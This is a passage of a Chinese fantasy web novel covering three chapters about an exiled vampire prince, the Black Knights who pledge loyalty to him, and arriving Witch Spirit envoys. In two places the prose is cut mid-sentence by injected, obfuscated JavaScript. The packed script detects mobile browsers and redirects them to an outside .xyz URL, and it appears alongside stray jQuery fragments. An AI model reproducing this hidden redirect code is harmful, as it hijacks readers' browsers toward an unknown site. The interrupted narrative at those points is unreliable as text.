“派人去黑塔，对了，马上给王宫送信。”一名小队长如梦方醒，匆忙下达命令。其后靠向外墙，扬声朝来人解释，他们并非故意不开城门，而是依照规矩行事。 “我们在等候命令！” 黑骑士没有硬闯。 在听到小队长的解释后，他们耐心等在城外，等待城门开启。 大概过了一刻钟，送信的士兵去而复返。他在途中遇见荆棘女仆，得知对方专为黑骑士而来，立即调头折返。 至于去王宫送信的人，目前还在路上，需要一段时间才能归来。 鸢尾随士兵登上城墙，浓密的卷发挽在脑后，发间闪烁银光，是代替发簪的小刀，刀口锋利无比。 “我代表第一王子前来。” 她当众表明身份，提步登上墙头，士兵没有加以阻拦。 盖有王子印章的羊皮卷递至眼前，几名小队长传递核实，当场确认无误，下令打开城门。 无论岑青的真实地位如何，也无论他是否握有权力，在国王正式剥夺他的头衔之前，他始终是国王的第一个王子，是名正言顺的王位继承人。 他以成文下达命令，守城的士兵理应执行。 只要不与国王的命令发生冲突，没有血族会公然反抗他。 至少表面上如此。 转盘旋动，绞索用力牵拉。 吊桥砰一声落地，横跨封冻的护城河。 门栓被移走，厚重的城门缓慢开启，门轴转动发出吱嘎声响，在夜色中传出极远。 黑骑士们策马入城。 他们自觉控制行速，队伍鱼贯穿过城门，看似井然有序。 马蹄踏在石板上，声音略显杂沓，如同敲击在士兵心头，莫名使人烦躁。 鸢尾单手一撑翻过城墙，有荆棘破土而出，在半空中接住她，使她能平安落地。 “殿下一直在等诸位。”鸢尾拉紧斗篷，站定在黑骑士马前。 “鸢尾，你从地牢里出来了？”里贝拉弯腰靠近马脖颈，饶有兴致地看向对方，“还有多少荆棘女仆活着？” “不多，但也不少。”鸢尾的回答滴水不漏。 黑骑士与荆棘女仆不同，他们的忠诚基于对强者的敬畏。在确认对方是否可信之前，鸢尾不会透露太多信息。 看出鸢尾的态度，黑骑士们并不介意。 “荆棘女仆总是忠心耿耿。”里贝拉啧了一声，旋即直起身体，朝对方伸出手，“上马，速度更快一些。” 鸢尾没有拒绝。 两人共乘一骑，其余黑骑士尾随在后。 众人策马时不忘挤眉弄眼，仿佛在说：里贝拉总是更得美人青睐，他们全都望尘莫及。 一队人穿过城内，顺利来到黑塔。 塔门已经敞开，包裹硬皮的手指抓在门上，地精从门后探出头。 见到队伍抵达，他们缩着脖子走出来，快速接过黑骑士的缰绳，细心照料好战马，同时不忘向鸢尾说明，房间和热水已经备好。 “还有食物，热腾腾的食物。”一名地精补充道。 “我知道了。”女仆赞许地精的利落，亲自为黑骑士们带路。 佩诺尔特翻身下马时，胸前的口袋大幅度摇晃。雪豹幼崽从沉睡中苏醒，用力顶着系紧的袋口，试图挣脱出来。 “那是什么？”鸢尾停下脚步，警惕地看向佩诺尔特。 副队长解开袋子，抓出里面的小家伙，单手拎起来：“送给殿下的礼物。” 小小的一团，毛茸茸，看上去异常脆弱，轻而易举就能捏碎。很难想象只需要三个月，它就能长成一头猛兽，轻松杀死超过几百斤的岩羊。 “雪豹？”鸢尾面露惊讶，地精们也好奇地看过来。 佩诺尔特抓着雪豹，俊美的脸上扬起笑容，十分阳光：“我们总不能空着手来。” “殿下不会介意。”茉莉的声音传来。她走出塔门，扫视在场的黑骑士，又看向鸢尾，“殿下在学习巫灵语，你先带他们去休息。至于这个，”她看向雪豹，找来一个地精，“你负责照顾它，记得洗干净一些。” “是！”地精用力点头。 黑骑士们认出茉莉，对她的安排毫无异议。 她是殷王后最忠诚的女官，在艰难的环境中保护殷王后的血脉，值得所有人尊敬。 众人陆续下马，前往准备好的房间。 经历长途跋涉，他们需要痛痛快快洗个澡，再享用一顿丰盛的大餐。 房间很舒适，热水充足，食物也很美味。空气中飘着香味，是有助眠作用的草药。 待到一切结束，黑骑士们躺在柔软的床铺上，不由得发出叹息。 “多少年了，我都快忘记床垫的触感。” “软面包，烤肉，还有烈酒，我受够了粗糙的狼肉。” “饿肚子时，你可不会这样说。” “你甚至嚼碎了狼骨头。” “你呢，和我一样！” 笑声响起，黑骑士们互相打趣。 在长久的紧绷之后，他们的精神陡然放松，困意如约而至，不多时就眼皮打架，房间中鼾声四起。 黑塔第三层，五六个地精围着雪豹，正艰难地清洗它。 雪豹幼崽在骑士手中老老实实，像一只毛绒玩具。面对地精，它强悍地呲出獠牙，挥舞着爪子凶狠反抗。 很可惜，地精们不吃这一套。 他们准备好大盆热水，像在洗一只小猪，熟练地将雪豹幼崽按进盆里。 一名地精找来长柄刷，当场撸起袖子，发誓要将这个毛球洗得干干净净。 “它是殿下的礼物，皮毛必须干净柔软，不能有一只跳蚤！” “绝不能有虱子！” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14949234|159552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >地精们干劲十足，雪豹幼崽反抗无果，终于变得老实。 它无法自由活动，顶着满头泡沫趴在水盆边，任由刷子刷过皮毛，彻底放弃挣扎。 塔楼中部，雕刻金蔷薇的房门后，岑青席地而坐，面前摞起多本硬皮书，有的已经看完，有的刚刚翻过几页。 书籍成文年代有别，作者来自不同种族，内容也是包罗万象。 独特之处在于它们都采用巫灵语言，从文字结构到行文方式都与血族文化迥异。 岑青展现出惊人的学习天赋，短短几天时间，他就掌握数千词汇，还能够准确发音。 茉莉敲门进来时，他刚读完一本诗集，突然灵感萌发，准备用巫灵语创作一首诗歌。 “盛赞巫灵之王，你就是烈阳。不对，巫灵是阴冷的生物，月亮，星星，云朵？”岑青眉心紧锁，将纸张揉成一团丢开，烦躁地转动水晶笔。 必须承认，他更擅长阴谋诡计，委实缺乏文艺细胞。 “殿下，黑骑士抵达，已经全部安顿好。”忽略地上的杂乱，茉莉迈步走上前，对岑青说道。 “他们比预期来得更快。”岑青曲起一条腿，手臂环过膝盖，轻轻咬着大拇指，“通知巴希尔，铠甲、武器、还有战马，都需要提前到位。” “我亲自去。”茉莉说道。 “好。”岑青单手撑地一跃而起，动作有些快，他又开始咳嗽。 “殿下，您的药还剩多少？莫非没有效果？”茉莉担忧地扶住他，“我马上去找卷丹。” “不必。”岑青摆摆手，示意茉莉不用着急。他清楚自己的状况，应该没有大碍，“小问题而已，没必要大惊小怪。” “可是……” “我不会逞强。” “您保证？” “我保证。”岑青笑着举起手指，继而转移话题，“出行的一切都要准备好，还有随行人员名单，包括裁缝和他们的家人，以及塔楼里的地精。” “地精，您要带走他们？”茉莉十分惊讶。 “这不是理所应当的事情？”岑青坐到床尾，双手撑在床上，轻轻咳嗽两声，姿态十分放松，“他们一直在照顾我，留在这里并不安全。当然，如果他们不愿意离开，我不会勉强。” “他们并不愚蠢，一定会万分感激。” “我不需要感激。”岑青扯了扯嘴角，突然打了个哈欠。眸光明亮，似沾染晶莹的水汽，“我只需要忠诚。” 茉莉凝视着他，回想殷王后，愈发清晰地认识到母子俩的区别。 “一切必将如您所愿。” 她低下头，影子在身后的墙壁上拉长，逐渐变形扭曲，恍如一株疯长的荆棘。 翌日，大雪初停。 东方欲晓，一轮红日跃出地平线，霎时间晨光万丈，驱散冬日里的阴霾。 霞光割裂云层，漫射出道道金辉。 光辉笼罩大地，忽有龙卷风平地而起，裹挟残雪碎冰扶摇直上，呼啸着刮过雪海，逼近座落在平原腹地的金岩城。 狂风过处，积雪开裂，锯齿状的裂痕纵横交错。大地像被斧头劈碎，留下一道道醒目的伤痕。 风团撞向城墙，古老的城市岿然不动。唯有垂挂的冰棱断裂坠落，咔嚓声不绝于耳。 风中传来怪声，狂暴的力量膨胀爆裂，风刃放射状飞溅，墙头的士兵站立不稳，接连向后翻倒。 天幕中闯出四只巨鸟，羽色雪白，翼展超过十米。它们在天空翱翔，发出尖锐的叫声，正是雪域独有的猛禽。 “巨鸮！” 血族士兵艰难地爬起身，单手按住头盔，指甲用力扣住墙砖。 天空中的巨鸮排成雁形，丝毫不受恶劣天气影响，每一次振翅都前行数十米，眨眼间跨越平原出现在城池上方。 巨鸮背上是几个披着斗篷的身影。 他们身姿挺拔，袖手而立，仿若比例完美的雕刻。 宽大的兜帽盖过头顶，边缘悬至鼻梁中部，遮挡住他们的眉眼，仅能看到精致的下颌以及殷红的嘴唇。 “巫灵！” “是巫灵！” 16.第十六章 巫灵是一个神秘的种族。 他们生活在北部王国，极少会走出雪域。每一次出现都意味着腥风血雨。 巫灵大军过处，流血和战争不断。年复一年，恐怖的印象持续加深，这个种族近乎成为厄运的代名词。 此次造访血族王城，与以往的情形截然不同。 奉雪域之主的命令，四人前来给血族递话，雪域接受血族的示好，但金岩城必须拿出更多诚意。 之前提的可远远不够。 巨鸮出现在城市上空，王宫中很快得知消息。 巫灵们没有等候太久，王国重臣联袂出现在城头。 遵照戈罗德的命令，大臣们盛装加身，专门迎接远道而来的使者，引领他们前往城内，进入血族的王权中心——金岩堡。 巨鸮降低高度，巫灵自半空中跃下，姿态轻盈，踏雪不留痕迹，仿佛没有重量。 他们足够神秘，也极其可怕。 深色斗篷垂至脚踝，落地时下摆翻起，现出精致的靴子。 靴跟镶嵌宝石，相当奢侈。 靴帮缠绕诡异的暗纹，由于斗篷垂落，血族们来不及细看，只能依稀辨认出，应该是属于巫灵的图腾。 四人落地时悄无声息，斗篷遮挡全身，兜帽始终没有掀起。 “带路。”为首之人言简意赅，态度傲慢，甚至有些无礼。 以扎克斯为首的大臣们心生不忿，奈何有求于人，现阶段只能隐忍。他们用力咬着后槽牙，仍要摆出笑容，表情难免有些古怪。 “请。” 城墙下备有马车，车前马匹神骏无比，称得上百里挑一。车厢内装饰豪华，外部雕刻夸张的图案，带有显著的血族风格。 车顶的徽章闪烁微光，象征国王戈罗德，替代创建金岩城的古老血脉。 巫灵在车前驻足，兜帽遮挡下，眼底闪过清晰的嘲讽。 拥护一个杂碎坐上王位，整体耽于享乐，沉溺于不入流的手段，难怪血族会日渐没落。 见他们迟迟没有动作，大臣们面面相觑，不免心生迟疑。 “请问……” 不等话音落地，四人收回视线，一言不发进入车厢，随手关闭车门。 见状，扎克斯等人非但没有松口气，反而愈发神经紧绷，行事变得更加小心。 大臣们迅速交换目光，各自登上马车，过程中没有任何语言交流，沉默得异乎寻常。 所有人登车，车夫扬起马鞭。 骏马迈开四蹄，疾风一般穿过城内。 车旁景物向后飞退，迅速变得模糊，沿道路两侧铺开朦胧的光影。 城市上方，四只巨鸮盘旋在天空。 它们交替穿过云层，荡开一片又一片乌云。 矫健的身姿拖曳白光，凝成交错的白练，在云中绘成一幅幅奇怪的图案，风过时又被遮挡。 车队穿过城内，途经孤独耸立的黑塔。 透过车窗，巫灵们望见被荆棘缠绕的建筑，表情终于发生变化。 “黑塔。” “血族王子的居住地。” “据说他的母亲是血族第一美人，战场上所向披靡，政治手腕却相当稚嫩，而且过于沉湎情感。” “如今的血族之王，依靠欺骗登上王位，手段很不光彩。” “血族本该有一名女王。” 巫灵们长居雪域，消息却不闭塞。 他们有大量情报渠道，对于戈罗德和殷王后的爱恨纠葛以及年幼就闭居黑塔的血族王子，他们都有所耳闻。 看似高冷的生物，同样不缺乏八卦心态。 “这位王子嫁给陛下，他会失去王位继承权。” “这是血族的事。” “陛下单身太久，他需要一个伴侣。这位王子血统纯粹，又相当漂亮，是一个合适的对象。” “的确。” 巫灵们结束交谈，旋即收回目光。 想到此行目的，他们的神情变得严肃，再没有闲话的心思。 “希望一切顺利。” 最初，巫灵王对这次结盟可有可无，热衷的是他的大臣。 雪域的统治者不能一直单身。 是否有继承人不重要，毕竟巫灵生命漫长。 他们担心的是巫灵王过于孤独，甚至是孤僻。那样一来，情况就会变得不太妙。 历史经验证明，巫灵王的存在很特殊，他的情绪关系到雪域安稳。如果他像前任国王一样嗜杀，或是厌世，不仅北部，四方王国都将陷入战火， 巫灵们绞尽脑汁，想方设法劝说巫灵王，奈何收效甚微。 就在众人沮丧不已时，事情意外出现转机。 岑青的画像送入暴风城，巫灵王的态度随之发生改变。 巫灵们为此欢喜雀跃，不惜改变宅家的作风，开始在外奔走，一个比一个卖力。 弗兰四人正是如此。 马车一路前行，很快越过黑塔，消失在道路尽头。 马车穿过长街时，城头乌云意外散去。 明媚的阳光倾泻而下，末端覆盖黑塔。塔外的荆棘披上一层光，颜色变得柔和。 黑塔内，黑骑士们从酣梦中苏醒，睁眼望向天花板，大脑有片刻空白。 常年的流放生涯，身处简陋环境，他们早习惯坚硬的床板、干硬的被子和四面透风的屋子。 房间过于温暖舒适，他们反而变得神思恍惚。 有半分钟时间，他们呆望着天花板，分不清身处现实还是梦境。 脚步声从走廊中传来，紧接着房门被敲响。 地精的声音穿过门板，变得瓮声瓮气：“骑士老爷，该起床了。早餐已经准备好。” 早餐？ 黑骑士们腾地坐起身，顶着乱糟糟的头发，一把掀开厚实的被子，赤脚踏上地面。 凉意从足底袭来，彻底驱散困意。 一人走到窗前，双手拉开窗帘。 大片阳光投入室内，刺得窗前人眼球生疼，瞳孔在瞬间收窄，足足十秒方才恢复。 “天亮了，起床！” 佩诺尔特在窗前转身，见众人又倒回去，不满地皱了皱眉。他大步走向床铺，大手用力抓下，逐一掀起骑士身上的被子和毛毯。 黑骑士们抗议无效，只能抱怨几声，挣扎着离开柔软的被褥。 里贝拉不在房间内，她睡在隔壁的卧室。 日暮山脉环境恶劣，是一片不毛之地。 流放在该地，生存是重中之重。黑骑士忽略男女大防，常会拥挤在一起取暖。 如今条件改变，里贝拉虽然不在乎，还是接受荆棘女仆的好意，单独睡在一间卧室。 实事求是地讲，能够独占一间卧室，耳边没有呼噜声和磨牙声，也不必忍受各种难以言说的气味，是一种良好的体验。 在同僚们挣扎着爬出被窝，和温暖的床铺依依不舍时，里贝拉已经穿戴整齐，精神焕发地出现在走廊。 地精敲门时，她环抱双臂靠在墙上，右脚尖轻点，嘴里咬着一条狼肉干。不为果腹，单纯是磨牙。 她今年正好两百二十岁，经历又一个换牙期。 新生的獠牙顶开牙床，替换磨损的犬齿。过程很漫长，她总会感到不舒服，试图咬些什么，缓解口中的异物感。 地精们尽职尽责，不断敲着房门，直至黑骑士全部苏醒，穿戴整齐走出房间。 “早上好。” 众人拉开房门，表现各不相同。 有的精神饱满，显然一夜好眠；有的连续打着哈欠，应该是没有睡饱；还有的表情严肃，头碰着头低声交谈，以队长米诺和副队长佩诺尔特为代表。 看到目标，里贝拉站直身体，扯下嘴里的肉干，迈步朝对方走去。 三十人都换上新外套，衬衫和长裤散发清新的味道，靴子锃亮，分明是打了鞋油。 这一切都是地精的功劳。 “早餐已经准备好，就在走廊尽头的餐厅里。”地精们很有礼貌，不同于荒野里的亲戚，他们接受过良好的教育，经历过荆棘女仆的严格培训。 相比之下，出身贵族的黑骑士反倒更像是一群野蛮人。 一行人穿过走廊，来到地精布置的餐厅。 黑骑士们分别拉开椅子坐下，在宽敞的房间内享用丰盛的早餐。 面包，烤肉，蔬菜。 种类稍微单一，分量绝对充足，味道也相当不错。超过三分之二的人吃撑了，不得不扶着肚子离开餐桌。 “殿下召唤诸位。”声音从门旁传来。 在黑骑士们用餐时，几名荆棘女仆悄无声息出现。 她们脚步轻盈，行走时可以不发出任何声音。能够凭意愿神出鬼没，出现在任何地点，不被任何人发现。 黑骑士们顿时一凛，齐刷刷转过头。 “很警惕。”茉莉赞许说道。她脊背挺直，双手交叠在身前，目光扫过众人，“希望诸位能一直保持警惕，以足够的谨慎护卫王子殿下。” 米诺一言不发推开椅子，佩诺尔特紧随其后。 黑骑士们陆续站起身，从放松到严肃，气质发生翻天覆地变化，不过是眨眼时间。 “请带路。”米诺代表众人开口。 “我很乐意。”茉莉欣然颔首。 一行人离开餐厅，沿着转梯向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14952994|159552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上，去往岑青所在的房间。 走廊内异常空旷，偶尔有风刮过，呜咽作响。 浮雕金蔷薇的房门背后，岑青靠向高背椅，面前的桌子上趴着毛茸茸一团，正是黑骑士带来的雪豹幼崽。 经过地精们的巧手，它的皮毛蓬松顺滑，白了不只一度。 大眼睛水汪汪，宽大的前掌扒住桌面，不时掀起嘴唇发出一阵哈气声。 比起豹子，它更像一只猫。 岑青从未养过宠物。 今生如此，前世亦然。 没养过，不代表他不喜欢。 在雪豹幼崽又一次哈气时，他终于没忍住，双手托起毛茸茸的小家伙，低头埋进它的肚子，陶醉地深吸气，发出意味不明的声音。 不能说变态，只能说和正常人有一定差距。 很不巧，也或许是太凑巧，房门没有关严，荆棘女仆和黑骑士出现在门外。 过于优秀的视力，使他们清晰捕捉到室内的一切。 众人的表情无法形容，总之，一言难尽。 “看起来，殿下很喜欢这份礼物。这是我们的荣幸。”佩诺尔特干笑两声，尽量维持体面。 米诺僵硬点头，佐证他的观点。 黑骑士们不出声，对岑青的印象有些微扭曲，好在无伤大雅。 茉莉深吸一口气，抬手敲响房门。 敲门声打断了岑青，相当及时。 他正准备滑下椅子，难保不会抱着这团毛球在地上翻滚。 “进来。” 岑青松开雪豹幼崽，后者竟然没有逃跑。四肢摊开趴在他腿上，双眼放空，看似生无可恋。 很难想象，这种表情会出现在雪豹脸上。 黑骑士们鱼贯走入室内，房间足够宽畅，三十人站在里面仍不显得拥挤。 “殿下，黑骑士向您问候。” 问候，而非效忠。 岑青坐回到椅子上，手指轻敲桌面，没在意众人的态度。 “我即将远行，需要诸位守护。”他没有赘言，开门见山说道，“我会提供给你们武器、铠甲以及必须的物资。你们的职责是护卫我离开王城，安全抵达雪域。中途会在边境停留，时间不会太长。” 他的直白出乎预料。 米诺等人惊讶地抬起头，表情中满是疑惑。 初次见面，可谓一波三折。 岑青给他们的观感很难定论，性格和行为都无法预期和揣测。 “此外，我还会补偿你们，弥补因流放失去的一切。”岑青继续说道。 “包括爵位？”米诺试探开口。 “包括爵位。”岑青单手抚摸雪豹幼崽，手指穿梭过雪白蓬松的皮毛，梳理黑色花纹，“千湖领是我的封地，作为我北行的条件之一。” 千湖领面积广阔，鼎盛时期，领地内建有二十多座城市，下辖数百座村庄。 如今的千湖领破败不堪，城市落魄，村庄倒塌，领民所剩无几，是王国内有名的荒凉之地。 若非如此，戈罗德也不会轻易松口，把领地封给岑青。 殷王后拥有大片领地，本该全部由岑青继承。戈罗德贪婪且厚颜无耻，明摆着不打算给他。 岑青不着急。 该是他的，必须还给他。 戈罗德可以暂时代管，终有一日，他会让对方百倍千倍的还回来。 “千湖领？”黑骑士们对这片区域并不陌生，开始交头接耳，低声议论。 岑青没有制止他们。 “千湖领很荒凉，百废待兴。我需要治理这块土地，重新让它变得富饶。我有权力授予官职和爵位，在我权力范围之内。” 这番话有理有据，掷地有声。 “您是否会再回金岩城？”佩诺尔特突然开口，问出一个风马牛不相及的问题。 听出他的潜台词，岑青不吝给予答案：“我会，时间可能很久，但我一定会回来，以另一种身份。” 佩诺尔特长舒一口气。 他不再犹豫，单手扣在胸前，掌心压在心脏的位置。即使心脏不再跳动，仍代表誓言忠诚。 “黑骑士佩诺尔特，宣誓向您效忠！” 黑骑士是一个整体，但也各自独立。他们全体出身贵族，血脉古老，初代祖先能追溯至金岩城创建时期。 佩诺尔特独自宣誓，虽然有些突兀，但没有任何不妥。 他是一个好的开始。 继他之后，黑骑士陆续摆出态度，向岑青宣誓效忠。 他们是刀，是盾，是最勇猛的战士。 “我发誓效忠您，全心全意捍卫您，直至鲜血流尽，灵魂永归大地！” 17.第十七章 黑骑士言出必行。 他们当场立下重誓，以生命和荣誉护卫岑青安全，势必会遵守承诺，不会轻易食言。 “只要我们还活着，没有任何人能伤害您。”米诺郑重说道。 “即使是国王？”岑青状似无意，目光却相当认真。覆在雪豹背上的手指微微收紧又快速放松，未被任何人察觉。 “即使是国王。”米诺目光坚定，语气斩钉截铁。 他的同僚也是一样。 黑骑士的忠诚属于殷王后，如今延续到岑青身上。 至于戈罗德，这位杀死他们的朋友，流放他们的篡位者，黑骑士的观感完全负面。 厌恶，鄙夷，憎恨，欲除之而后快。 如果有机会将长剑架上对方的脖子，他们不会有半分犹豫，必然要凶狠劈下。 “我们不会向一名篡位者行礼，哪怕他握有权戒。”佩诺尔特上前半步，自然地压低视线与岑青对视。 他有一头烟灰色的长发，服帖地束在脑后。 笔直的眉毛飞入鬓角，眼珠与头发同色，即使在战场上厮杀，也总是流淌温润的色泽。 抛开他辉煌的战绩，不提死在他剑下的亡魂，他更像是一名学者，温和斯文、端方优雅。他该在明亮的房间中阅读诗歌，而非手持利刃走上战场，成为一名身经百战的黑骑士。 这种迷惑性的外表常使他被误会。 只有真正与他交过手，才知道他是多么恐怖的男人。凶狠暴力不亚于米诺，甚至更胜一筹。 他向岑青宣誓效忠，的确存在真心，但也不乏夸张的表现。 不管怎样，他对戈罗德的态度无法作假，厌恶发自心底。他会毫不犹豫向戈罗德挥剑，即使面前是一位国王。 “如果您有疑虑，可以对我们烙印真言诅咒。”佩诺尔特又向前一步，更加靠近岑青，灰色的眼睛朦胧一层雾，似轻纱萦绕，“我们不会反抗。” 说话间，他抬眸看向岑青左侧，那里有一具树状鸟架。 金灿灿的架子上，一只乌鸦正在梳理羽毛。 鸟腿上套着两枚圆环，上面的文字相当古老，只有血统最纯正的王族才能唤醒和使用。 “若我说我会全盘托付信任，未免不切实际。”岑青十分坦白，语言直接却不会令人感到不适，“但我愿意试着相信你们。” 顿了顿，他莞尔一笑，架起两条腿，右手撑着下巴，姿态很是放松。 “至于诅咒，我想没那个必要。” “感谢您的信任。”黑骑士们再次低头，比先前多出两分真心。 血族是黑暗的生物，冷血狡诈是他们的天性，黑骑士也不例外。 然而事有两面。 一旦付出忠诚，除非灵魂消散，生命荡然无存，他们的承诺绝不会改变。 谈话到此为止，彼此都很满意。 岑青的时间相当紧凑，他无法和对方多聊，当即朝茉莉勾了勾手指，道：“接下来的一切，你来安排。” “遵命，殿下。”茉莉欣然领命，朝米诺等人颔首，示意众人退出房间。 走廊内，几名裁缝正耐心等候。 他们身后跟着二十多名地精，取代入塔时的随从。 裁缝和地精手中捧着礼服，还有搭配的腰带、靴子、斗篷，以及种类繁多的装饰品。 裁缝们手艺精湛，加上紧迫感使然，他们提前完成所有礼服，集体前来给岑青过目。 荆棘女仆从他们中间穿过，其后是黑骑士。 高人一等的身材带来沉重的压迫感，即使身上没有铠甲，武器也是破破烂烂，仍掩不去恐怖的杀气。 这是一群血腥生物。 比王城内的骑士更加可怕。 裁缝们这样想着，不约而同打了个寒颤。 下一刻，留在房门口的女仆朝他们招手：“殿下现在有时间，你们可以进去。” “是。” 裁缝们不敢马虎，忙不迭振作起精神，快步走进房间。各自带着他们完成的礼服，希望能获得岑青青睐。 “希望王子殿下能够满意。” “这是个技术活。” “打起精神！” 走廊对面，茉莉告知黑骑士，她要暂时离开黑塔。 “我要去接收一批物资，包括铠甲和武器。你们或许愿意和我同行。”她说道。 “去哪里？”米诺问道。 “巴希尔的府邸。”茉莉回答。 黑骑士们掏掏耳朵，不确定自己听到的话，差点以为耳朵出错。 “巴希尔？” “那个见风使舵的家伙？” “他会乐意提供这些？” “别开玩笑了！” 黑骑士们满面嘲讽，对巴希尔的观感可见一斑。 “他很乐意提供帮助。”没有理会众人的表情，茉莉打了个响指，黑影在她身后闪过，紧接着窗户被推开，一株荆棘从天而降，快速探进窗口缠绕她的身体，末端服帖在她肩头。 黑骑士们安静下来。 众人碰头商讨，决定由米诺和佩诺尔特出面，其余人留在黑塔。 “我们离开期间，随时关注黑塔外的情况。”佩诺尔特说道。 “明白。” 一切交代完毕，茉莉没有选择楼梯，而是踩着荆棘跳出窗口。 米诺和佩诺尔特来不及反应，先后被荆棘缠住双腿拖出走廊，嗖嗖两声消失在窗外。 “队长！” “副队长！” 黑骑士们大吃一惊，纷纷冲过走廊拥挤在窗前，由于动作太急，差点挤破窗框。 半空中，锋利的荆棘扭曲摇摆，像是恶作剧成功的顽童。茉莉单手拉住一根荆条，身体轻盈摇荡，裙摆短暂舒展，顺利落至地面。 经历过最初的惊愕，米诺和佩诺尔特迅速冷静下来。 两人顺着荆棘下滑，利用卓越的跳跃力踏上墙壁，数次借力后落向地面。 高大的骑士单膝蹲跪，掌心撑地，能感知到残雪的冰冷。 “走吧。” 没给两人更多时间，茉莉率先走向一辆马车，示意两人跟上。 驾车的是地精，拉车是两头豪猪。 它们体型巨大，头尾尖尖，像放平的枣核。隆起的背部长满长刺，性格异常暴躁，只有地精能驯养它们。 车厢颜色斑驳，车门处残留焦黑的痕迹。 车顶的雕刻被岁月磨平，依稀能辨认出是一朵盛放的蔷薇。 “这辆马车属于殷王后。”认出车身上的标志，黑骑士目光微变。 “我以为它被烧毁了。”米诺说道。 茉莉拉开车门，回头看他一眼，声音平静：“事实上并没有。它被藏在城堡内，和主人的珠宝放在一起。一度被国王的新妻子占为己有。” 佩诺尔特闻言皱眉：“那个金发女人？” “不，那是戈罗德的第三任妻子，被他亲手送上断头台。”茉莉弯腰走进车厢，在靠近车窗的位置上坐下，催促车外两人，“时间有限，快上车，我们有重要的事情去办。” “是温吉特？”米诺踩上车前踏板，继续猜测道。 “她是第五任，下场是被扔进监狱，最终死在里面。”茉莉面无表情，索性揭晓答案，“我说的是左娜，扎克斯伯爵的妹妹，国王的第九任妻子。” “竟然是她！”米诺和佩诺尔特同时啧了一声。 “霸占王族的遗产会遭遇诅咒，她难道不清楚？”佩诺尔特坐到茉莉对面，抬手触碰车顶，摸到一个花瓣形的凹槽。那里曾经镶嵌宝石，已经全部被撬走，从残留的痕迹推断，过程应该十分暴力。 米诺坐到他身边，懒散地抓了抓头发，四下里环顾，说道：“我可不信只有她伸手。想必戈罗德的几任妻子都起过相同的念头，她们的下场就是最好的证明。” 至于这位新王后，他会等着看她的下场。 三人坐定之后，车厢门关闭。 车前的地精甩动缰绳，蜷缩成团的豪猪立刻活跃起来。 它们伸展身体，抖动包裹身体的长刺，迈开腿在雪中奔跑，速度越来越快。 马车的车轮飞速转动，一瞬间离地，近乎要飞起来。 丞相宅邸内，上百名仆人正紧张忙碌。 巴希尔身负诅咒，对岑青的要求不敢拒绝。 他命心腹准备铠甲和兵器，搜集合格的战马。还命人凑齐各项物资，包括能长时间保存的口粮，掺血的酒和饮料，厚实的毯子，能阻挡风雪的帐篷，以及照明和取暖工具。 他还特地搜集了几罐獾油。 寒潮席卷血族王国全境，北方的雪域只会更冷。 这些獾油能治疗冻疮，看似不起眼，但能发挥极大作用。 血族不会在极寒中生病，但会生长冻疮。这种现象相当古怪，无奈就是现实。 “快，动作快。” “小心点！” 管家在队伍前指挥，手中捧着册子，不时提笔记录修改，确保一切完美，不会出现任何差错。 马车恰好在这时抵达。 仰赖巫灵突然造访，国王的注意力集中在宫廷内，大臣们齐聚金岩堡，今天的王城格外空旷，他们顺利抵达，中途没有遭遇任何盘查。 马车在大门前停靠，管家接到消息快步迎上前。 “丞相大人提前吩咐，如果您到来，可以自行取走物资。”管家递上整理好的册子，每一项都记录得清清楚楚。 茉莉接过册子，一目十行扫过，又递给米诺和佩诺尔特。 三人没有拖延时间，核对无误之后，当场装箱搬运。 战马暂且充当驽马，驮起一只只箱子和鼓鼓囊囊的口袋，列队跟在马车后，由地精牵引去往黑塔。 归程途中，有怪异的鸣叫声传来。 三人感到好奇，各自从窗口探头张望，不意外望见天空中的暗影，四只盘旋的巨鸮。 巨鸮穿过云层，白光交错而过。 它们腹部和背部雪白，翅膀边缘附着黑色飞羽，如同两把利刃，不费吹灰之力就能荡开狂风。 “巨鸮？” “只有巫灵能驯服它们。” 米诺和佩诺尔特曾在北部边境作战，对巨鸮并不陌生。还有座狼，它们总是和巫灵一同出现。 茉莉眯起双眼，催促赶车的地精加速。 “尽管返回黑塔。” “是！” 地精用力振动手臂，豪猪同 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他悄无声息离开大厅，只留下一个虚假的影子。除了他的同伴，没有任何人知晓他的动向。 曾经的血族强大无比，能与巫灵分庭抗礼。 现如今，古老的血脉凋零，篡位者掌权，奢靡和堕落成风，衰落成为必然。 弗兰叹息一声，心中感到遗憾，为曾经的敌人。 就在这时，塔门后走出一道身影，是手捧木盒的荆棘女仆。 她穿着暗红色长裙，纤细的腰肢不盈一握。长发梳成发髻，发间点缀一串小花，散发出幽幽暗香。 “卷丹。”见她出现，茉莉眸光微闪。又看向她手中的木盒，如果她没认错，那是岑青特地命人准备的信匣。 行至巫灵近前，卷丹停下脚步。 “您是雪域的使者，巫灵王的忠实追随者。”她说道。 “是的。”弗兰颔首。 看到盒子上的图案，猜测女仆是奉命而来，他掀起自己的兜帽，露出一张俊美邪肆的脸庞，鼻梁高挺，眼尾狭长，瞳孔在光照时近乎透明。 “殿下很期待雪域之行。”女仆卷丹再次开口，“他对雪域之主仰慕已久。这里是殿下的心意，希望您能代为送到雪域之主手中。” “王子殿下的礼物？” “是的。”卷丹点了点头。 “他料定我会出现？”弗兰感到不可思议。 “这不是我能回答，很抱歉。”卷丹的声音依旧平静，将盒子递到弗兰面前。 弗兰审视她片刻，单手接过木盒。 